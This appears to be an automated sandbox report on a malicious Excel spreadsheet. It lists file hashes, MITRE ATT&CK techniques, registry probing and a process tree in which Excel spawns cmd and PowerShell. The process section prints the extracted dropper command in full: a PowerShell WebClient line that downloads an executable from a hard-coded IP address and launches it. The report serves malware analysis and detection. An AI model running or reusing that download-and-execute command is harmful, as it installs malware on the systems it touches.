7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199

General

Target

7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199.xls
Size

25KB
MD5

f1c80a738722554b91452c59adb2f27d
SHA1

a768bd41c189e9304d17c7dbf697a1d04971d441
SHA256

7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199
SHA512

e31c0e292abe32777190475267897a6ffac2c1613971a33c3fe28a66e6c33f03b41bfaf9092a1db2d45618d2c7edd8339c10ef92fe784e4c993bd8533d0f2600
SSDEEP

192:1Ha439gyLPUV+/T/D/Ns0+PKY1l6Lpb9KX+lTf5eKIHiZyFwDRa:A+Lb60+eh9iefY

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3068	4016	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

30 2340 powershell.exe

flow	pid	process
30	2340	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4016 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2340 powershell.exe
2340 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2340 powershell.exe

pid	process
2340	powershell.exe
2340	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2340	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4016 wrote to memory of 3068	4016	EXCEL.EXE	cmd.exe
PID 4016 wrote to memory of 3068	4016	EXCEL.EXE	cmd.exe
PID 3068 wrote to memory of 2340	3068	cmd.exe	powershell.exe
PID 3068 wrote to memory of 2340	3068	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4016

C:\Windows\SYSTEM32\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe','%TEMP%\oUhjidsf.exe');Start-Process '%TEMP%\oUhjidsf.exe';
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe','C:\Users\Admin\AppData\Local\Temp\oUhjidsf.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\oUhjidsf.exe';
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2340-144-0x00007FFF2F170000-0x00007FFF2FC31000-memory.dmp

Filesize
10.8MB

Download
memory/2340-142-0x00007FFF2F170000-0x00007FFF2FC31000-memory.dmp

Filesize
10.8MB

Download
memory/2340-140-0x0000000000000000-mapping.dmp

Download
memory/2340-143-0x00007FFF2F170000-0x00007FFF2FC31000-memory.dmp

Filesize
10.8MB

Download
memory/2340-141-0x00000165CC140000-0x00000165CC162000-memory.dmp

Filesize
136KB

Download
memory/3068-139-0x0000000000000000-mapping.dmp

Download
memory/4016-136-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-138-0x00007FFF15A20000-0x00007FFF15A30000-memory.dmp

Filesize
64KB

Download
memory/4016-133-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-134-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-137-0x00007FFF15A20000-0x00007FFF15A30000-memory.dmp

Filesize
64KB

Download
memory/4016-135-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-132-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-146-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-147-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-148-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/4016-149-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads